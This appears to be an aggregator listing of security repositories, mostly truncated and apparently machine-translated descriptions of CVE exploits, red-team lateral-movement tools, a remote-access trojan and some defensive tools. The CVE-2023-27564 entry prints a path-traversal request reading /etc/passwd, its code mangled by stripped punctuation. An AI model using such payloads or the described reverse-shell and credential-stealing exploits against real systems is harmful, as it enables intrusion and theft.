NimicStack

NimicStack NimicStack — это чистая реализация техники спуфинга стека вызовов Call Stack Spoofing на языке Nim для имитации легитимных программ. Весь проект основан на PoC, опубликованном WithSecure Labs Компиляция Вы можете скомпилировать исходный код напрямую следующей командой: nim c -d=mingw...

exploit-CVE-2023-27564

CVE-2023-27564에 대한 익스플로잇 이 취약점은 n8n에서 익명 파일 읽기를 허용합니다. import requests url = "https://example.com/rest/data/filesystem:..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd:.svg" response = requests.geturl printresponse.statuscode printresponse.headers printresponse.text 출처...

CVE-2025-65731

CVE-2025-65731 CWE-1191: 부적절한 접근 제어가 적용된 온칩 디버그 및 테스트 인터페이스 D-Link DIR-605L에서의 UART 루트 셸 액세스 하드웨어 F1, 펌웨어 V6.02CN02 요약 D-Link DIR-605L 라우터하드웨어 버전 F1, 펌웨어 외부 버전 V6.02CN02, Linux 커널 2.4.18 실행에서 심각한 하드웨어 보안 취약점이 확인되었습니다. UART 디버그 인터페이스에는 적절한 접근 제어 메커니즘이 없어, 물리적 접근이 가능한 모든 공격자가 UART 핀에 연결하여 인증 없이 루트 ...

CVE-2022-1015

CVE-2022-1015 цель: ядро Linux 5.17.0 конфигурация: .config требования: apt install libmnl-dev libnftnl-dev сборка: gcc exploit.c -o exploit -lmnl -lnftnl -lpthread -no-pie Ссылки...

CVE-2025-9215

StoreEngine — мощный плагин электронной коммерции для WordPress для платежей, членств, партнёрских программ, продаж и многого другого = 1.4.0 — Аутентифицированная Подписчик+ произвольная загрузка файлов Плагин StoreEngine содержит уязвимость в функции CSV-импорта/экспорта, которая позволяет любо...

CVE-2023-27350

CVE-2023-27350 Cette vulnérabilité permet à des attaquants distants de contourner l'authentification sur les installations affectées de PaperCut NG 22.0.5 Build 63914. L'authentification n'est pas requise pour exploiter cette vulnérabilité. Le défaut spécifique existe dans la classe SetupComplete...

CrushFTP-CVE-2024-4040-illdeed

CVE-2024-4040 — Эксплойт обхода аутентификации CrushFTP В этом репозитории содержится скрытный proof-of-concept PoC эксплойт на Python для CVE-2024-4040 , критической уязвимости в CrushFTP v10 и ниже, которая позволяет злоумышленнику обойти аутентификацию с помощью поддельной cookie CrushAuth и...

authz0

Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials. URLs and Roles are managed as YAML-based templates, which can be automatically created and added through authz0. You can also test based on multiple authentication headers...

authz0

Authz0 est un outil automatisé de test d'autorisation. Les accès non autorisés peuvent être identifiés en fonction des URLs et des rôles et identifiants. Les URLs et les rôles sont gérés sous forme de modèles basés sur YAML, qui peuvent être créés et ajoutés automatiquement via authz0. Vous pouve...

confluence-cve-2023-22515

confluence-cve-2023-22515 Confluence Нарушенный контроль доступа : CVE-2023-22515...

nginx_log_check

nginxlogcheck Script d'analyse de sécurité des logs Nginx Fonctionnalités Statistiques des 20 premières adresses Analyse des injections SQL Analyse des alertes de scanners Détection d'exploitation de vulnérabilités Accès aux chemins sensibles Attaques par inclusion de fichiers Webshell Recherche...

ThreatPad

ThreatPad Совместная платформа для заметок в реальном времени, созданная для команд киберразведки CTI и безопасности. ThreatPad сочетает скорость современных инструментов продуктивности с возможностями, специфичными для CTI: автоматическое извлечение IOC, экспорт в STIX 2.1, структурированные...

SharpMove

SharpMove - Exécution .NET authentifiée pour des hôtes distants Compilation Pour compiler, ouvrez le projet dans Visual Studio et compilez pour la version Release. Options WMI SCM DCOM Multiple Planificateur de tâches Détournement de DLL de service Détournement de serveur DCOM Modifier une tâche...

KnockOutlook

KnockOutlook «Лучшее чувство — победить нокаутом.» — Нонито Донэр Обзор KnockOutlook — это проект на C, который взаимодействует с COM-объектом Outlook для выполнения ряда операций, полезных в мероприятиях красной команды. Использование командной строки / /// / // \ / // / / / / , / / / / /// / /...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity версии до 2023.05.4 уязвим к обходу аутентификации, что приводит к удаленному выполнению кода RCE Использование Для получения reverse shell python3 exploit.py Ссылки https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2024-25169-Mezzanine-v6.0.0

제품: Mezzanine CMS 버전: v6.0.0 발견 날짜: 10.01.2024. 보고 날짜: 10.01.2024. 취약점 유형: 부적절한 접근 제어. CVE ID: CVE-2024-25169 설명: Mezzanine v6.0.0의 문제로 인해 공격자가 조작된 요청을 통해 관리자 패널의 접근 제어 메커니즘을 우회할 수 있습니다. PoC가 곧 공개됩니다:...

Reverse_HTTPS_Bot

ReverseHTTPSBot 0.8 Описание: HTTPS-троян удалённого доступа на Python для тестирования на проникновение. Сервер в настоящее время основан на NodeJS. Боту требуется: pip install requests pip install pyscreenshot Серверу требуется: sh setup.sh для генерации самоподписанного сертификата и ключа для...

CVE-2024-43044-jenkins-creds

Введение Это эксплойт для CVE-2024-43044 — произвольного чтения файлов, позволяющего агенту получать файлы с контроллера. Эксплойт использует уязвимость для чтения файла credentials.xml и получения секретных ключей для его расшифровки. Исходный код:...

CVE-2024-0044

CVE-2024-0044/A-307532206는 Android 프레임워크의 높은 심각도 취약점으로, adb 접근 권한이 있는 공격자가 임의 앱의 UID로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 Meta Red Team X의 Tom Hebb가 처음 발견했습니다. 인터넷에서 이 글 및 이 글과 같이 이 취약점을 악용하는 많은 문서를 찾을 수 있습니다. 자세한 내용은 이 블로그를 확인하세요:...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea аутентифицированный RCE Скрипт для эксплуатации CVE-2020-14144 - GiTea аутентифицированное удалённое выполнение кода с использованием git хуков Возможности Автоматическая генерация полезной нагрузки reverse shell из IP и PORT Загрузка пользовательского shell-скрипта и его...